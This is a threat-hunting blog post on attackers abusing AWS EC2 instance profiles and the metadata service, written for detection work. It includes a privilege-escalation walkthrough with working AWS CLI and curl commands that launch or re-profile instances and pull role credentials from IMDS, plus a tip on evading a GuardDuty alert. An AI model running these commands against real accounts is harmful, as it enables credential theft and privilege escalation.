Hunting for Abuse of AWS Instance Profiles


why are we talking about AWS instance profile ?
The Instance Metadata Service (IMDS) is not just an attacker target — it’s a critical AWS feature for normal cloud workloads. Application needs privileges to perform actions inside the AWS, When you attach an IAM role to an EC2 instance, AWS must provide AWS API credentials to that instance somehow so Applications and configuration scripts perform their automations in the needed way.IMDS is the secure channel that delivers these short-lived credentials to software running on the instance. This eliminates the need for long-term AWS access keys stored on disk (which are a huge security risk).
AWS EC2 instances use an Instance Metadata Service (IMDS) at the link-local address 169.254.169.254 to provide information and credentials to the instance. In IMDSv1, any process on the instance can query this HTTP endpoint without authentication, and IMDSv2 adds a requirement for a session token to mitigate remote abuse
Applications and configuration scripts use IMDS to learn details about the instance they’re running on(Instance ID, private/public IPs, AMI ID, availability zone, tags) can be used in multiple automation workloads.
IMDS delivers credentials scoped to the instance’s IAM role, ensuring the app gets only the permissions it needs.
Examples:
A web app that only needs to read from one S3 bucket will use IMDS to fetch credentials limited to that bucket.
An automation script on EC2 might use IMDS creds to call EC2 APIs and scale resources.
Attackers exploit IMDS to retrieve temporary AWS credentials that belong to the instance’s IAM role on two conditions
If an adversary gains local code execution on an EC2 instance (e.g. via a compromised application or container)
A Server-Side Request Forgery (SSRF) vulnerability in a web application can be used to coerce the server into querying IMDSv1 and returning credentials
Act of Exploitation
capital one breach (2019) - webserver exploit
SSRF exploitation to steal instance profile credentials. In that case, a misconfigured WAF (ModSecurity) was tricked via SSRF into forwarding requests to the metadata URL, allowing the attacker to harvest credentials for an over-privileged IAM role
Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce a server-side application to make HTTP requests to an arbitrary domain, potentially including internal resources that are not directly accessible from the internet.
Hildegard Kubernetes attack (TeamTNT) (2021) - malware based exploit
This variant malware search for credential files on the host and queried metadata services for cloud specific credentials.
Post exploitation
S3 enumeration
Once an attacker successfully retrieves temporary credentials from an EC2 instance’s profile (via the above methods or by extracting them from memory or environment files), they often misuse those credentials to access cloud resources or move within the environment. Every EC2 IAM role has an associated temporary credential set that can be used like any IAM user’s keys. Attackers may leverage these to enumerate the AWS environment and steal data. For example, they might list S3 buckets, download sensitive objects, query DynamoDB or Secrets Manager for secrets, or enumerate IAM 17 18 15 2 users and roles to find further pivot opportunities
The Capital One attacker used the instance role credentials not only to list storage buckets but also to read their contents, resulting in a massive data theft
Moving further
TeamTNT, after stealing AWS credentials from metadata on compromised Docker/Kubernetes systems, was observed uploading scripts that search for and exfiltrate data (like AWS keys or configuration files) and even deploying crypto-miners using those creds.
flowchart TD
A[Attacker] -->|Initial_compromise:exposed_API_or_misconfig| H[Compromised_Host_Docker_K8s]
H -->|GET_/latest/meta-data/iam/security-credentials/| M[IMDS_169.254.169.254]
M -->|RoleName_and_TempCreds| H
H -->|Optional_exfil_of_creds| A
%% Post-exploitation actions (TeamTNT)
H -->|curl_or_wget_script.sh| R[Attacker_Script_Repo]
R -->|script.sh| H
H -->|Search_keys_and_configs_in_dot_aws_dot_kube_dot_docker| F[Local_Files]
H -->|Exfil_found_data| C2[Exfil_Server]
H -->|Use_creds_to_enum_AWS_API| AWS[AWS_APIs]
H -->|Deploy_local_cryptominer| X[Cryptominer_on_Host]
H -->|Use_creds_RunInstances_for_mining| EC2[AWS_EC2]
EC2 -->|Miner_containers| FL[Cryptominer_Fleet]
%% Style: initial (grey)
linkStyle 0,1,2,3 stroke:#999,stroke-width:2px;
style H fill:#f0f0f0,stroke:#999,stroke-width:1px;
style M fill:#f0f0f0,stroke:#999,stroke-width:1px;
%% Style: post-exploitation (red)
linkStyle 4,5,6,7,8,9,10,11 stroke:#cc0000,stroke-width:2px;
style A fill:#ffcccc,stroke:#cc0000,stroke-width:2px;
style R fill:#ffcccc,stroke:#cc0000,stroke-width:2px;
style C2 fill:#ffcccc,stroke:#cc0000,stroke-width:2px;
style X fill:#ffcccc,stroke:#cc0000,stroke-width:2px;
style EC2 fill:#ffcccc,stroke:#cc0000,stroke-width:2px;
style FL fill:#ffcccc,stroke:#cc0000,stroke-width:2px;
There is also more possibilities in the post exploitation
create new resources
new iam users creation
create login profiles
CreateKeyPair
Gui-vil a financially motivated threat actor as described by premiso security
“GUI-vil maintain presence on the infrastructure level via the users and access keys they have created or taken over, the attacker can also maintain persistence to the environment via EC2. Simply by being able to connect to the EC2 instance they can assume the credentials of the EC2 instance. Often times the attacker will execute ec2:CreateKeyPair
, enabling them to connect to the EC2 instance directly via SSH which they ensure is open to the internet on any EC2 instances they create.”
CreateKeyPair
"data": {
"eventVersion": "1.08",
"userIdentity": {
"type": "AssumedRole",
"principalId": "AROA****:andy",
"arn": "arn:aws:sts::redacted:assumed-role/AdminUser/andy",
"accountId": "redacted",
"accessKeyId": "ASIA*****",
"sessionContext": {
"sessionIssuer": {
"type": "Role",
"principalId": "AROA****",
"arn": "arn:aws:iam::redacted:role/AdminUser",
"accountId": "redacted",
"userName": "AdminUser"
},
"webIdFederationData": {},
"attributes": {
"creationDate": "2023-04-18T15:30:24.0000000Z",
"mfaAuthenticated": "false"
}
}
},
"eventTime": "2023-04-18T15:33:12.0000000Z",
"eventSource": "ec2.amazonaws.com",
"eventName": "CreateKeyPair",
"awsRegion": "us-east-1",
"sourceIPAddress": "36.85.110.142",
"userAgent": "AWS Internal",
"requestParameters": {
"keyName": "su32",
"keyType": "rsa",
"keyFormat": "ppk"
},
"responseElements": {
"requestId": "21e1134f-109e-4b4a-bea8-cc651b9e0db8",
"keyName": "su32",
"keyFingerprint": "e9:86:03:1e:81:4e:65:fb:78:41:f0:32:e0:29:ff:6e:9b:0e:fe:f0",
"keyPairId": "key-0123456789abcdef0",
"keyMaterial": "<sensitiveDataRemoved>"
},
"requestID": "21e1134f-109e-4b4a-bea8-cc651b9e0db8",
"eventID": "9338ea0b-b929-4a76-b024-2b3ea36cd484",
"readOnly": false,
"eventType": "AwsApiCall",
"managementEvent": true,
"recipientAccountId": "redacted",
"eventCategory": "Management",
"sessionCredentialFromConsole": "true"
}
CreateIngressRule
{
"groupId": "sg-0123456789abcdef0",
"ipPermissions": {
"items": [
{
"ipRanges": {
"items": [
{
"cidrIp": "0.0.0.0/0"
}
]
},
"prefixListIds": {},
"fromPort": 22,
"toPort": 22,
"groups": {},
"ipProtocol": "tcp",
"ipv6Ranges": {}
}
]
}
Previlege escalation by instanceprofile switch
1- Launch a new EC2 with a high-priv role (blue in picture below)
Choose the target role (the one with more privileges than current access).
Launch an instance passing the instance profile for that role
Get onto the box: - If SSM is enabled
Pull IMDS creds (IMDSv2 shown)
Use those creds to act as the high-priv role (from inside the instance to avoid OutsideAWS alerts).
aws ec2 run-instances \
--image-id ami-... \
--instance-type t3.micro \
--subnet-id subnet-... --security-group-ids sg-... \
--iam-instance-profile Name=HighPrivProfile \
--tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=escalation-host}]'
aws ssm send-command \
--instance-ids i-123... \
--document-name "AWS-RunShellScript" \
--parameters commands='["id","curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/"]'
TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -sH "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -sH "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
2 - Attach/replace role on an existing EC2 (orange in picture below)
- Associate the privileged profile:
aws ec2 associate-iam-instance-profile \\
--instance-id i-123... \\
--iam-instance-profile Name=HighPrivProfile
If a profile already exists:
aws ec2 replace-iam-instance-profile-association \\
--iam-instance-profile-association-id iip-assoc-abc123 \\
--iam-instance-profile Name=HighPrivProfile
Retrieve creds via IMDS as above and proceed.
As a net outcome attacker can endup doing privileged action as described in the below flow diagram.
flowchart TD
A[Compromised_Principal] --> Perm[Has_PassRole_and_EC2_perms]
Perm --> Role[Target_Role_HighPriv]
Role --> Prof[Instance_Profile_HighPriv]
A --> EC2A[New_EC2_RunInstances]
EC2A --> IMDS[IMDS_169.254.169.254]
IMDS --> Creds[Temp_Creds_for_Role]
EC2A --> Use[Use_New_Role_Creds]
A --> EC2B[Existing_EC2]
EC2B --> Assoc[Associate_or_Replace_Profile]
Assoc --> IMDS
IMDS --> Creds
EC2B --> Use
Use --> AWS[AWS_APIs_Privileged_Actions]
%% link colors
linkStyle 0,1,2 stroke:#999,stroke-width:2px;
linkStyle 3,4,5,6 stroke:#1f77b4,stroke-width:3px;
linkStyle 7,8,9,10,11 stroke:#ff7f0e,stroke-width:3px;
linkStyle 12 stroke:#cc0000,stroke-width:2px;
%% node styles
style A fill:#ffcccc,stroke:#cc0000,stroke-width:2px;
style EC2A stroke:#1f77b4,stroke-width:2px;
style EC2B stroke:#ff7f0e,stroke-width:2px;
style IMDS fill:#f0f0f0,stroke:#999,stroke-width:1px;
style Creds fill:#fff2cc,stroke:#999,stroke-width:1px;
style AWS fill:#ffe6e6,stroke:#cc0000,stroke-width:2px;
Defenders lens
GaurdDuty:
AWS EC2 instances expose an Instance Metadata Service (IMDS) at the link-local address 169.254.169.254
to provide instance details and temporary IAM credentials to applications. Under normal conditions, this is expected behavior, Accessing IMDS itself does not generate CloudTrail logs, since it’s a link-local HTTP service. Detection must rely on indirect evidence. AWS GuardDuty has two relevant threat detections: UnauthorizedAccess:EC2/InstanceCredentialExfiltration
One common attack technique in AWS environments is to exploit application vulnerabilities such as SSRF, XXE, or command injection to query the IMDS of a target EC2 instance. This allows the attacker to steal the instance profile’s temporary IAM credentials and make AWS API calls in the victim’s account.
However, using these credentials directly from outside EC2 (e.g., from an attacker’s laptop) will trigger GuardDuty’s UnauthorizedAccess:IAMInstanceCredentialExfiltration.OutsideAWS finding
Attackers found a way around this: by using stolen credentials from another EC2 instance—either their own or another compromised host—they could evade the OutsideAWS alert. The original finding only checked if the credentials were used from “an EC2,” not whether it was the same EC2 instance that issued them.
AWS addressed this gap with a newer GuardDuty finding, UnauthorizedAccess:IAMInstanceCredentialExfiltration.InsideAWS
Once the credentials of instance profile are stolen
All API calls made with stolen temporary credentials whether via CLI, SDK, or the Console show up in CloudTrail as an assumed role. In the event record, check userIdentity.sessionContext.sessionIssuer
for the role ARN and session name.
The UserAgent is a useful tell: hands-on use often appears as aws-cli/2.x
, Boto3
, or a browser UA (for Console), while workload traffic typically carries SDK identifiers (e.g., aws-sdk-java
, botocore
) or service-specific agents.
GuardDuty can flag anomalous role behavior for example, an EC2 instance role performing IAM discovery or known malicious patterns (including common pentesting tool usage), surfacing them via its Discovery and anomaly findings.
For Instance profile switch when EC2 instance profile credentials are used outside of the specific instance. AWS GuardDuty triggers on this
https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types.html#unauthorized11
However, if the attacker operates entirely within the new EC2 instance (e.g., executes a user-data script that uses the role’s privileges from inside), they can avoid triggering the GuardDuty exfiltration alert
AWS Cloud Trail
You can identify any instance role credentials used from multiple distinct IP addresses, which could indicate that credentials were taken from the instance and used elsewhere. It looks for CloudTrail events where the PrincipalId contains an EC2 instance ID ( i- ), then groups by source IPs
flowchart TD
EC2[EC2 Instance] -->|Uses IAM Role Credentials| AWS[AWS APIs]
EC2 -->|Source IP 10.0.5.12| AWS
EC2 -->|Credentials in IMDS| Attacker[Attacker]
Attacker -->|Uses Same Credentials| AWS
Attacker -->|Source IP 203.0.113.50| AWS
%% Styling
style EC2 fill:#ccffcc,stroke:#009900,stroke-width:1px
style Attacker fill:#ffcccc,stroke:#cc0000,stroke-width:2px
linkStyle 3,4 stroke:#cc0000,stroke-width:2px
this is a good starting point before doing ip analytics
| where UserIdentityType == "AssumedRole"
| where UserIdentityArn matches regex @"assumed-role/.*/i-[0-9a-f]+$"
| where UserAgent !startswith "AWS Internal"
| where UserIdentityType != "AWSService"
No AWS API calls are needed to steal credentials from IMDS (it’s a local HTTP GET).However, the credentials obtained will allow API actions equal to the IAM role’s policy.
Immediete activity by the attacker would probably be as seen in CapitalOne incident
sts:GetCallerIdentity
s3:ListBucket
s3:GetObject
These activities will indicate discoveries in IAM from in
iam:ListUsers
iam:ListRoles
iam:GetAccountAuthorizationDetails
Another indicator is mass retrieval of secrets or credentials: multiple secretsmanager:GetSecretValue or ssm:GetParameter (SecureString) calls in a short window by the same role could mean an attacker is dumping secrets as described in falcon force medium article
To catch priv-esc via instance-profile switching:
Flag unusual RunInstances
launches with an IAM profile and any AssociateIamInstanceProfile
/ReplaceIamInstanceProfileAssociation
on existing hosts. Then correlate for immediate role use: within 15–30 minutes, look for CloudTrail API calls where the assumed-role issuer ARN matches the attached role and the SourceIpAddress lines up with the new instance’s network (its private IP/ENI or NAT egress). That chainprofile attach → new host → API activity from that host’s network is your smoking gun for escalation.GetInstanceProfile
RunInstances
AssociateIamInstanceProfile
ReplaceIamInstanceProfileAssociation
For post-pivot impact look for
CreateUser
CreateAccessKey
AttachUserPolicy
PutUserPolicy
UpdateAssumeRolePolicy
CreateLoginProfile
To catch persistence via new role look for
CreateRole
CreateInstanceProfile
AddRoleToInstanceProfile
To catch persistence by policy attach or replaced on existing ec2 look for anomalies in
AssociateIamInstanceProfile
ReplaceIamInstanceProfileAssociation
Open-Source Tools & References: Adversaries and red-teamers alike use tools such as Pacu (Rhino Security Labs) to automate many of these techniques. Pacu modules exist for enumerating vulnerable IAM permissions and executing exploits like launching new EC2 instances with higher-priv roles.
Prowler, an open-source AWS security scanner, helps identify misconfigurations that enable these abuses – for example, it has checks to ensure IMDSv2 is enabled (mitigating SSRF risk) and flags roles with broad permissions or trust policies
Subscribe to my newsletter
Read articles from raja mani directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

raja mani
raja mani
✨🌟💫Threat Hunter 💫🌟✨